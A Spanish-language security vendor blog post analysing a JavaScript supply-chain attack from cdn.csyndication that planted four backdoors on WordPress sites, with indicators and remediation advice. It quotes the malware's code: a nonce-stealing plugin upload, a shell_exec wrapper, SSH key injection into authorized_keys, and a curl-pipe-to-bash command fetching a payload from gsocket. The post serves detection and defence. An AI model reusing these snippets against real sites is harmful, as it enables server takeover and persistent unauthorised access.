Skip to main content
Blog
Blog Attacks

Miles de sitios web afectados por cuatro puertas traseras en un ataque de JavaScript de terceros

Mientras analizábamos amenazas dirigidas a frameworks de WordPress, encontramos un ataque en el que un único archivo JavaScript de terceros fue utilizado para inyectar cuatro puertas traseras distintas en 1.000 sitios web comprometidos mediante cdn.csyndication[.]com/.

Mar 04, 2025 6 min read
4-backdoors-image-cover

Resumen: cadena csyndication de cuatro puertas traseras con plugin de WordPress, claves SSH y reverse shell

  • Una brecha, cuatro puertas traseras: Los equipos de respuesta a incidentes siguen partiendo de la base de que un ataque client-side deja un solo payload. Este dejó cuatro, todos desde un único archivo JavaScript de terceros en cdn.csyndication[.]com, precisamente para que, al limpiar una puerta trasera, aún queden tres.
  • Cómo funcionó la cadena: La cadena subía un plugin oculto de WordPress llamado ultra-seo-processor, inyectaba JavaScript adicional en wp-config.php, escribía claves SSH ssh-rsa y ssh-ed25519 del atacante en authorized_keys, y descargaba una reverse shell desde gsocket[.]io/y en 1.000 sitios comprometidos, con solo dos detecciones en los feeds de amenazas. cside detectó y bloqueó la inyección de JavaScript malicioso en pruebas repetidas.
  • Reescribe tu runbook: Si tu runbook de remediación se limita a eliminar la primera puerta trasera y cerrar el ticket, reescríbelo este trimestre. Da por hecho que cualquier brecha de JS de terceros puede plantar varios puntos de persistencia, y añade inspección de scripts en tiempo de ejecución que revele el archivo inicial antes de que se propague.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

Mientras analizábamos amenazas dirigidas a frameworks de WordPress, encontramos un ataque en el que un único archivo JavaScript de terceros fue utilizado para inyectar cuatro puertas traseras distintas en 1.000 sitios web comprometidos mediante cdn.csyndication[.]com/.

JavaScript de terceros malicioso de cdn.csyndication[.]com utilizado para inyectar cuatro puertas traseras

Crear cuatro puertas traseras permite a los atacantes disponer de múltiples puntos de reentrada en caso de que una sea detectada y eliminada. Un caso singular que no habíamos visto antes, y que introduce un nuevo tipo de ataque posibilitado por el abuso de sitios web que no monitorizan las dependencias de terceros en el navegador de sus usuarios.

Aquí están las referencias que encontramos para que puedas investigar por tu cuenta:

Funciones de las puertas traseras:

  1. Sube un plugin malicioso de WordPress mediante un script oculto.
  2. Inyecta el JavaScript malicioso.
  3. Añade claves SSH controladas por el atacante.
  4. Ejecuta comandos remotos y descarga el payload.

El dominio malicioso solo tiene dos detecciones en feeds de amenazas.

Feed de amenazas que muestra el dominio malicioso con solo dos detecciones
JavaScript malicioso ofuscado inyectado en los mil sitios web comprometidos

1ª puerta trasera

Un archivo ZIP está codificado en base64:

<const O00O00911F_0x5aa841 = "UEsDBAoAAAAAAJizT1kAAAAAAAAAAAAAAAAUABwAdWx0cmEtc2VvLXByb2Nlc3Nvci9VVAkAA4DQ...";

Obtiene la página de subida de plugins de WordPress para conseguir el token _wpnonce (protección CSRF).

O00O00911F_0x2bcbf3().then(_0x58a9ee => {
  if (_0x58a9ee) {
    const _0x425d54 = new FormData();
    _0x425d54.append("_wpnonce", _0x58a9ee);
    _0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
    fetch("/wp-admin/update.php?action=upload-plugin", {
      method: "POST",
      body: _0x425d54,
      credentials: "include"
    })
  }
});

Esto sube e instala un plugin falso (ultra-seo-processor-wp.zip) en un sitio WordPress. El archivo ZIP contiene código PHP de puerta trasera.

A continuación intenta subir otro plugin malicioso de WordPress:

return fetch("/wp-admin/plugin-install.php?tab=upload", {
  method: "GET",
  credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
  const _0x577cdd = new DOMParser();
  const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
  const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
  if (_0x1bd6e5) {
    return _0x1bd6e5.value;
  }
});

Esta función obtiene un nonce de administrador de WordPress y luego intenta subir un plugin (ultra-seo-processor-wp.zip) a /wp-admin/update.php?action=upload-plugin, lo que es una señal clara de modificación no autorizada a nivel de administrador.

El script entonces intenta ejecutar un archivo de puerta trasera en el directorio /wp-content/plugins/.

return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
  method: "GET",
  credentials: "include"
});

Busca directorios de instalación de WordPress y Laravel. Esta función PHP intenta localizar instalaciones de WordPress (wp-config.php, wp-blog-header.php) y Laravel (artisan) para su posible explotación.

function findSpecialDirectories($rootDir) {
    $directories = [];
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator(
            $rootDir,
            FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
        ),
        RecursiveIteratorIterator::SELF_FIRST
    );
    foreach ($iterator as $file) {
        if ($file->isDir()) {
            $path = $file->getRealPath();
            if (!$path) {
                continue;
            }
            if (
                file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
            ) {
                $directories[] = $path;
            }
        }
    }
    return array_unique($directories);
}

Análisis de ultra-seo-processor.zip en la 1ª puerta trasera

Hash del archivo: 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be

Solo una detección en Virustotal.

VirusTotal que muestra el hash del archivo de la primera puerta trasera con solo una detección

El archivo ZIP, codificado en base64 e inyectado en WordPress mediante un script oculto, contiene:

  • ultra-seo-processor.php: Un plugin de WordPress fraudulento que ejecuta comandos del atacante.
  • Código que oculta el plugin del panel de administración, dificultando su detección.
  • Funciones que escanean directorios en busca de instalaciones de WordPress y Laravel.
  • Código inyectado en wp-config.php para persistencia.
  • Instalación de claves SSH, que permite el acceso remoto al servidor.

Aquí hay un fragmento del backdoor PHP dentro del plugin:

function findSpecialDirectories($rootDir) {
   $directories = [];
   $iterator = new RecursiveIteratorIterator(
       new RecursiveDirectoryIterator(
           $rootDir,
           FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
       ),
       RecursiveIteratorIterator::SELF_FIRST
   );
   foreach ($iterator as $file) {
       if ($file->isDir()) {
           $path = $file->getRealPath();
           if (!$path) {
               continue;
           }
           if (
               file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
               file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
               file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
           ) {
               $directories[] = $path;
           }
       }
   }
   return array_unique($directories);
}

Esta función intenta escanear instalaciones de WordPress; el malware está diseñado para desplegarse de forma masiva en múltiples instalaciones de CMS en el mismo servidor.

$my_execution = function($cmd) {
   return shell_exec($cmd);
};

2ª puerta trasera:

Inyecta JavaScript malicioso en wp-config.php:

$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';

3ª puerta trasera:

Inyección de claves SSH: añade claves SSH controladas por el atacante a ~/.ssh/authorized_keys, lo que permite el acceso persistente al servidor:

$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');

4ª puerta trasera:

Ejecuta comandos remotos y descarga otro payload desde gsocket[.]io/y, creando probablemente una reverse shell.

$my_execution = function($cmd) {
  return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');

Cómo proteger tu sitio web

Si lo encuentras, elimina inmediatamente el plugin malicioso de WordPress (ultra-seo-processor). Revisa .ssh/authorized_keys en busca de claves no autorizadas y elimínalas. Investiga wp-config.php e index.php en busca de código inyectado. Si tu servidor web se vio afectado, rota todas las credenciales de administrador de WordPress. Monitoriza los registros del sistema para detectar más actividad sospechosa.

El uso de JavaScript de terceros como vector de ataque no es nada nuevo. Sin embargo, el enfoque de múltiples puertas traseras, que maximiza la persistencia para los atacantes, sí es singular. Dado el uso generalizado de bibliotecas JS externas en todo tipo de sitios, sospechamos que este tipo de ataque se repetirá.

Hemos reproducido este ataque en pruebas, y cside detectó y bloqueó con éxito la inyección de JavaScript malicioso. Si te preocupa una posible infección, nuestro sistema puede ofrecer análisis en tiempo real y defensa proactiva.

Una campaña Magecart relacionada, identificada en el mismo período de investigación, utilizó scripts ofuscados en artifyau[.]com y quantifymy[.]com para robar datos de tarjetas de pago en sitios de comercio electrónico comprometidos; consulta el ataque Magecart de Artifyau y Quantifymy.

Reserva una llamada/demo o regístrate ahora.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Te enseñaremos:

Qué scripts de terceros se están ejecutando ahora mismo en tu sitio
En qué punto estás con los requisitos 6.4.3 y 11.6.1 de PCI DSS
Qué parte de tu tráfico son bots y agentes de IA

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco